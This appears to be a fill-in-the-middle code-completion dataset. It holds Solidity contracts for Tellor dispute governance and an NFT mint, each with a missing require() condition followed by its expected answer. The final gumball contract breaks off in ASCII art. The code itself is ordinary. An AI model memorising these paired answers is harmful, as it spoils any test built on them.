* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
// Ensure validity of vote ID, vote has been executed, and vote must be tallied
Vote storage _thisVote = voteInfo[_disputeId];
require(_disputeId <= voteCount && _disputeId > 0, "Dispute ID must be valid");
require(!_thisVote.executed, "Vote has already been executed");
require(_thisVote.tallyDate > 0, "Vote must be tallied");
// Ensure vote must be final vote and that time has to be pass (86400 = 24 * 60 * 60 for seconds in a day)
require(
voteRounds[_thisVote.identifierHash].length == _thisVote.voteRound,
"Must be the final vote"
);
//The time has to pass after the vote is tallied
require(<FILL_ME>)
_thisVote.executed = true;
Dispute storage _thisDispute = disputeInfo[_disputeId];
openDisputesOnId[_thisDispute.queryId]--;
uint256 _i;
uint256 _voteID;
if (_thisVote.result == VoteResult.PASSED) {
// If vote is in dispute and passed, iterate through each vote round and transfer the dispute to initiator
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
// If the first vote round, also make sure to transfer the reporter's slashed stake to the initiator
if (_i == 1) {
token.transfer(
_thisVote.initiator,
_thisDispute.slashedAmount
);
}
token.transfer(_thisVote.initiator, _thisVote.fee);
}
} else if (_thisVote.result == VoteResult.INVALID) {
// If vote is in dispute and is invalid, iterate through each vote round and transfer the dispute fee to initiator
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
token.transfer(_thisVote.initiator, _thisVote.fee);
}
// Transfer slashed tokens back to disputed reporter
token.transfer(
_thisDispute.disputedReporter,
_thisDispute.slashedAmount
);
} else if (_thisVote.result == VoteResult.FAILED) {
// If vote is in dispute and fails, iterate through each vote round and transfer the dispute fee to disputed reporter
uint256 _reporterReward = 0;
for (
_i = voteRounds[_thisVote.identifierHash].length;
_i > 0;
_i--
) {
_voteID = voteRounds[_thisVote.identifierHash][_i - 1];
_thisVote = voteInfo[_voteID];
_reporterReward += _thisVote.fee;
}
_reporterReward += _thisDispute.slashedAmount;
token.transfer(_thisDispute.disputedReporter, _reporterReward);
}
emit VoteExecuted(_disputeId, voteInfo[_disputeId].result);
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
}
/**
* @dev Enables the sender address to cast a vote
* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| block.timestamp-_thisVote.tallyDate>=1days,"1 day has to pass after tally to allow for disputes" | 230,327 | block.timestamp-_thisVote.tallyDate>=1days |
"Time for voting has not elapsed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
// Ensure vote has not been executed and that vote has not been tallied
Vote storage _thisVote = voteInfo[_disputeId];
require(_thisVote.tallyDate == 0, "Vote has already been tallied");
require(_disputeId <= voteCount && _disputeId > 0, "Vote does not exist");
// Determine appropriate vote duration dispute round
// Vote time increases as rounds increase but only up to 6 days (withdrawal period)
require(<FILL_ME>)
// Get total votes from each separate stakeholder group. This will allow
// normalization so each group's votes can be combined and compared to
// determine the vote outcome.
uint256 _tokenVoteSum = _thisVote.tokenholders.doesSupport +
_thisVote.tokenholders.against +
_thisVote.tokenholders.invalidQuery;
uint256 _reportersVoteSum = _thisVote.reporters.doesSupport +
_thisVote.reporters.against +
_thisVote.reporters.invalidQuery;
uint256 _multisigVoteSum = _thisVote.teamMultisig.doesSupport +
_thisVote.teamMultisig.against +
_thisVote.teamMultisig.invalidQuery;
uint256 _usersVoteSum = _thisVote.users.doesSupport +
_thisVote.users.against +
_thisVote.users.invalidQuery;
// Cannot divide by zero
if (_tokenVoteSum == 0) {
_tokenVoteSum++;
}
if (_reportersVoteSum == 0) {
_reportersVoteSum++;
}
if (_multisigVoteSum == 0) {
_multisigVoteSum++;
}
if (_usersVoteSum == 0) {
_usersVoteSum++;
}
// Normalize and combine each stakeholder group votes
uint256 _scaledDoesSupport = ((_thisVote.tokenholders.doesSupport *
1e18) / _tokenVoteSum) +
((_thisVote.reporters.doesSupport * 1e18) / _reportersVoteSum) +
((_thisVote.teamMultisig.doesSupport * 1e18) / _multisigVoteSum) +
((_thisVote.users.doesSupport * 1e18) / _usersVoteSum);
uint256 _scaledAgainst = ((_thisVote.tokenholders.against * 1e18) /
_tokenVoteSum) +
((_thisVote.reporters.against * 1e18) / _reportersVoteSum) +
((_thisVote.teamMultisig.against * 1e18) / _multisigVoteSum) +
((_thisVote.users.against * 1e18) / _usersVoteSum);
uint256 _scaledInvalid = ((_thisVote.tokenholders.invalidQuery * 1e18) /
_tokenVoteSum) +
((_thisVote.reporters.invalidQuery * 1e18) / _reportersVoteSum) +
((_thisVote.teamMultisig.invalidQuery * 1e18) / _multisigVoteSum) +
((_thisVote.users.invalidQuery * 1e18) / _usersVoteSum);
// If votes in support outweight the sum of against and invalid, result is passed
if (_scaledDoesSupport > _scaledAgainst + _scaledInvalid) {
_thisVote.result = VoteResult.PASSED;
// If votes in against outweight the sum of support and invalid, result is failed
} else if (_scaledAgainst > _scaledDoesSupport + _scaledInvalid) {
_thisVote.result = VoteResult.FAILED;
// Otherwise, result is invalid
} else {
_thisVote.result = VoteResult.INVALID;
}
_thisVote.tallyDate = block.timestamp; // Update time vote was tallied
emit VoteTallied(
_disputeId,
_thisVote.result,
_thisVote.initiator,
disputeInfo[_disputeId].disputedReporter
);
}
/**
* @dev Enables the sender address to cast a vote
* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| block.timestamp-_thisVote.startDate>=86400*_thisVote.voteRound||block.timestamp-_thisVote.startDate>=86400*6,"Time for voting has not elapsed" | 230,327 | block.timestamp-_thisVote.startDate>=86400*_thisVote.voteRound||block.timestamp-_thisVote.startDate>=86400*6 |
"Sender has already voted" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
}
/**
* @dev Enables the sender address to cast a vote
* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
// Ensure that dispute has not been executed and that vote does not exist and is not tallied
require(_disputeId <= voteCount && _disputeId > 0, "Vote does not exist");
Vote storage _thisVote = voteInfo[_disputeId];
require(_thisVote.tallyDate == 0, "Vote has already been tallied");
require(<FILL_ME>)
// Update voting status and increment total queries for support, invalid, or against based on vote
_thisVote.voted[msg.sender] = true;
uint256 _tokenBalance = token.balanceOf(msg.sender);
(, uint256 _stakedBalance, uint256 _lockedBalance, , , , , ) = oracle.getStakerInfo(msg.sender);
_tokenBalance += _stakedBalance + _lockedBalance;
if (_invalidQuery) {
_thisVote.tokenholders.invalidQuery += _tokenBalance;
_thisVote.reporters.invalidQuery += oracle
.getReportsSubmittedByAddress(msg.sender);
_thisVote.users.invalidQuery += _getUserTips(msg.sender);
if (msg.sender == teamMultisig) {
_thisVote.teamMultisig.invalidQuery += 1;
}
} else if (_supports) {
_thisVote.tokenholders.doesSupport += _tokenBalance;
_thisVote.reporters.doesSupport += oracle.getReportsSubmittedByAddress(msg.sender);
_thisVote.users.doesSupport += _getUserTips(msg.sender);
if (msg.sender == teamMultisig) {
_thisVote.teamMultisig.doesSupport += 1;
}
} else {
_thisVote.tokenholders.against += _tokenBalance;
_thisVote.reporters.against += oracle.getReportsSubmittedByAddress(
msg.sender
);
_thisVote.users.against += _getUserTips(msg.sender);
if (msg.sender == teamMultisig) {
_thisVote.teamMultisig.against += 1;
}
}
voteTallyByAddress[msg.sender]++;
emit Voted(_disputeId, _supports, msg.sender, _invalidQuery);
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| !_thisVote.voted[msg.sender],"Sender has already voted" | 230,327 | !_thisVote.voted[msg.sender] |
"Surpasses max per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperGoblinsWTF is ERC721A, Ownable {
uint256 public constant RESERVED_SUPPLY = 1;
uint256 public constant MAX_SUPPLY = 2000;
uint256 public constant MAX_PER_WALLET = 20;
uint256 public constant MAX_FREE_PER_TXN = 5;
uint256 public constant MAX_PER_TXN = 10;
constructor() ERC721A("SuperGoblinsWTF", "SGWTF") {}
/**
* Public sale mechanism
*/
bool public publicSale = false;
uint256 public freeRedeemed = 0;
uint256 public MINT_PRICE = .005 ether;
uint256 public FREE_SUPPLY = 1000;
bool public reserved = false;
function setPublicSale(bool toggle) external onlyOwner {
}
function increaseFreeSupply(uint256 amount) external onlyOwner {
}
function decreasePrice(uint256 price) external onlyOwner {
}
/**
* Public minting
*/
mapping(address => uint256) public publicAddressMintCount;
function mintFree5pTxn20Total(uint256 _quantity) public payable {
require(msg.sender == tx.origin);
require(totalSupply() + _quantity <= MAX_SUPPLY, "Surpasses supply");
require(<FILL_ME>)
require(_quantity <= MAX_FREE_PER_TXN, "Surpasses max free per txn");
require(publicSale, "Public sale not started");
require(
freeRedeemed + _quantity <= FREE_SUPPLY,
"Surpasses free supply"
);
publicAddressMintCount[msg.sender] += _quantity;
freeRedeemed += _quantity;
_safeMint(msg.sender, _quantity);
}
function mintPaid10Txn20Total(uint256 _quantity) public payable {
}
function reserve() public onlyOwner {
}
/**
* Base URI
*/
string private baseURI;
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* Withdrawal
*/
function withdraw() external onlyOwner {
}
}
| publicAddressMintCount[msg.sender]+_quantity<=MAX_PER_WALLET,"Surpasses max per wallet" | 230,351 | publicAddressMintCount[msg.sender]+_quantity<=MAX_PER_WALLET |
"Surpasses free supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperGoblinsWTF is ERC721A, Ownable {
uint256 public constant RESERVED_SUPPLY = 1;
uint256 public constant MAX_SUPPLY = 2000;
uint256 public constant MAX_PER_WALLET = 20;
uint256 public constant MAX_FREE_PER_TXN = 5;
uint256 public constant MAX_PER_TXN = 10;
constructor() ERC721A("SuperGoblinsWTF", "SGWTF") {}
/**
* Public sale mechanism
*/
bool public publicSale = false;
uint256 public freeRedeemed = 0;
uint256 public MINT_PRICE = .005 ether;
uint256 public FREE_SUPPLY = 1000;
bool public reserved = false;
function setPublicSale(bool toggle) external onlyOwner {
}
function increaseFreeSupply(uint256 amount) external onlyOwner {
}
function decreasePrice(uint256 price) external onlyOwner {
}
/**
* Public minting
*/
mapping(address => uint256) public publicAddressMintCount;
function mintFree5pTxn20Total(uint256 _quantity) public payable {
require(msg.sender == tx.origin);
require(totalSupply() + _quantity <= MAX_SUPPLY, "Surpasses supply");
require(
publicAddressMintCount[msg.sender] + _quantity <= MAX_PER_WALLET,
"Surpasses max per wallet"
);
require(_quantity <= MAX_FREE_PER_TXN, "Surpasses max free per txn");
require(publicSale, "Public sale not started");
require(<FILL_ME>)
publicAddressMintCount[msg.sender] += _quantity;
freeRedeemed += _quantity;
_safeMint(msg.sender, _quantity);
}
function mintPaid10Txn20Total(uint256 _quantity) public payable {
}
function reserve() public onlyOwner {
}
/**
* Base URI
*/
string private baseURI;
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* Withdrawal
*/
function withdraw() external onlyOwner {
}
}
| freeRedeemed+_quantity<=FREE_SUPPLY,"Surpasses free supply" | 230,351 | freeRedeemed+_quantity<=FREE_SUPPLY |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperGoblinsWTF is ERC721A, Ownable {
uint256 public constant RESERVED_SUPPLY = 1;
uint256 public constant MAX_SUPPLY = 2000;
uint256 public constant MAX_PER_WALLET = 20;
uint256 public constant MAX_FREE_PER_TXN = 5;
uint256 public constant MAX_PER_TXN = 10;
constructor() ERC721A("SuperGoblinsWTF", "SGWTF") {}
/**
* Public sale mechanism
*/
bool public publicSale = false;
uint256 public freeRedeemed = 0;
uint256 public MINT_PRICE = .005 ether;
uint256 public FREE_SUPPLY = 1000;
bool public reserved = false;
function setPublicSale(bool toggle) external onlyOwner {
}
function increaseFreeSupply(uint256 amount) external onlyOwner {
}
function decreasePrice(uint256 price) external onlyOwner {
}
/**
* Public minting
*/
mapping(address => uint256) public publicAddressMintCount;
function mintFree5pTxn20Total(uint256 _quantity) public payable {
}
function mintPaid10Txn20Total(uint256 _quantity) public payable {
}
function reserve() public onlyOwner {
require(<FILL_ME>)
reserved = true;
_safeMint(msg.sender, RESERVED_SUPPLY);
}
/**
* Base URI
*/
string private baseURI;
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* Withdrawal
*/
function withdraw() external onlyOwner {
}
}
| !reserved | 230,351 | !reserved |
"Turns would exceed gumball supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
/*
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
kkkkkkkkkkkkkkkkkkkxxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxkkkkkkkkkkkkkkkkkkkkkk
kkkxxkkkkkkkkkkkxxxkkkxkkkkkkkkkkOOOOOOOkOOOkkkkkkkkxxkxxxkkxkkkkkkkkkkkkkkkxxkk
kkxkkxxkkkkkkkkxkkkkxxxkkkkOkkdlc:;,,,,,,,;:cloxkOkkkxxxxxkkkkkkkkkkkkkxxxkkkxkk
kkkkkkxxkkkkkkkkkkkkkkkkkxo:,.. ..'',,'''. .';ldkkkkkkkkkkkkkkkkkkkkkxkxxkkk
kkkkkkkkkkkkkkkkkkkkkkxl;. .;lddkXNWWWWNNx..co:'. .'cdkOkkkkxkkkkxxkkkkkkkkkkkk
kkkkkkkkkxkkkkkkkkkkxc. 'lxxxKNxkWMMMMMMK; 'oONN0d;. .;dkkkkkxxxxxxxkOkkkkkkkkk
kkkkkkxxxxxkkkkkkkkl. ;xOd:,c0MMMMMMMMMMXkd,'kWMMMW0l. .;dkkkkxxxkxxkOkkkkkkkkk
kkkkkkxxkxxkkkxkkd, ,k0l,;xXWMMMMMMMMMMMMWOdKMMMMMMMWKl. .ckOkkkkkkkkkkkkkkkkkk
kkkkkkkxkxxxkkkko. .oXk';kNMMMMMMMMMMMMMMMN0NMMMMMMMMMMWO, :xkkkkkkxxkkkkkkkkkk
kkkkkkkkkkkkkkko. .xWWKONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: :kOkkxkxxkkkkkkkkkk
kkkkkkkkkkkkkOd. .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ckkxxxkkxxkkkkkkkk
kkkxkkxxkkkkOk; cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO. .dOkxxxkxxkkkkkkkk
kkxkkxxxkkxkOd. .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNc :kkkkkkkkkkkkkkkk
kkkkxxkkxxxkOl. ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. ,kOkkkkkkkkkkxkkk
kkkkkkkkxkkkkc cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXKK00XWk. 'xOkkkkkkkkkxxxkk
kkkkkkkkkkkkOl. :NMMMMMMMMMMMMMMMMMMMMMMMMMMWX0kxooolcc:::xNx. 'xOkkkkkkxxxkkxkk
kkkkkkkkkkkkOo. '0MMMMMMMMMMMMWWNNNNNNNXXKOxoc'...,::::::l0No ;kkkkkkkkkkkkkkkk
